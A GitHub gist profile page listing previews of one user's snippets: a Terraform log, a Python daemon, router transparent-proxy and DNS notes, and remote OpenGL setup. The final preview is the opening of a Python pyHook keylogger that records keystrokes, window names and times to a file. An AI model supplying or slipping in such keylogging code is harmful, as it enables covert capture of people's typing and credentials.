Skip to content

Instantly share code, notes, and snippets.

View binhoul's full-sized avatar
🇨🇳

binhoul binhoul

🇨🇳
  • Chengdu
View GitHub Profile
2019/01/18 15:16:39 [INFO] Terraform version: 0.11.11 ac4fff416318bf0915a0ab80e062a99ef3724334
2019/01/18 15:16:39 [INFO] Go runtime version: go1.11.1
2019/01/18 15:16:39 [INFO] CLI args: []string{"/usr/local/bin/terraform", "plan"}
2019/01/18 15:16:39 [DEBUG] Attempting to open CLI config file: /Users/bhli/.terraformrc
2019/01/18 15:16:39 [DEBUG] File doesn't exist, but doesn't need to. Ignoring.
2019/01/18 15:16:39 [INFO] CLI command args: []string{"plan"}
2019/01/18 15:16:39 [INFO] command: empty terraform config, returning nil
2019/01/18 15:16:39 [DEBUG] command: no data state file found for backend config
2019/01/18 15:16:39 [DEBUG] New state was assigned lineage "e7edfb51-de84-0ac6-b071-1f0cc63805e5"
2019/01/18 15:16:39 [INFO] command: backend initialized: <nil>
@binhoul
binhoul / readme.adoc
Created July 30, 2018 06:03 — forked from arun-gupta/readme.adoc
Service Mesh and Open Tracing
@binhoul
binhoul / daemon.py
Created June 11, 2016 03:01 — forked from jamiesun/daemon.py
一个python守护进程的例子
#! /usr/bin/env python2.7
#encoding:utf-8
#@description:一个python守护进程的例子
#@tags:python,daemon
import sys
import os
import time
import atexit
from signal import SIGTERM
  1. 开启ipv4转发
vi /etc/sysctl.conf
# 将net.ipv4.ip_forward=0更改为net.ipv4.ip_forward=1
sysctl -p
  1. 安装dnsmasq 和pdnsd解决dns污染

DNS的解析方案为 resolve.conf ==> dnsmasq ==> pdnsd

如何在路由器中实现透明代理?

0 互联网现状

目前整个互联网环境,被破坏最严重地部分,是 Web 服务体验。当直接破坏难以实现时,就会从流程链的上下游着手,如:DNS 污染。

其它地互联网服务类型,例如:邮件,可能小部分会受到 Web 服务上下游破坏地余震,但整体上基本不受影响。

@binhoul
binhoul / Remote OpenGL Setup.md
Created April 12, 2016 06:07 — forked from shehzan10/Remote OpenGL Setup.md
Remote OpenGL Without Display

Remote OpenGL Setup without X

A full OpenGL profile requires X to be running. For X to run, it requires a display to be connected to the machine. Given that most server machines do not have this, it becomes difficult to run OpenGL.

This document details how to get OpenGL and X up and running without having a display connected to the sevrer.

Requirements

You will need access to the remote system over SSH. To run the tool, you will need libGL.so and libX11.so. These are installed when X and the NVIDIA Drivers are installed. So there is nothing special required to install these.

Another tool I would recommend strongly is glewinfo. Most linux distributions ship this with the glew-utils package. An alternate to glewinfo is glxinfo which is present on all systems with X. You can substitute glewinfo with glxinfo in all the commands below if needed.

# -*- coding: iso-8859-15 -*-
import pythoncom, pyHook, time
n = "ventana"
def OnKeyboardEvent(event):
global n
teclas = event.Key
ventana = event.WindowName
tiempo=time.asctime()
nm = open("write.txt","a")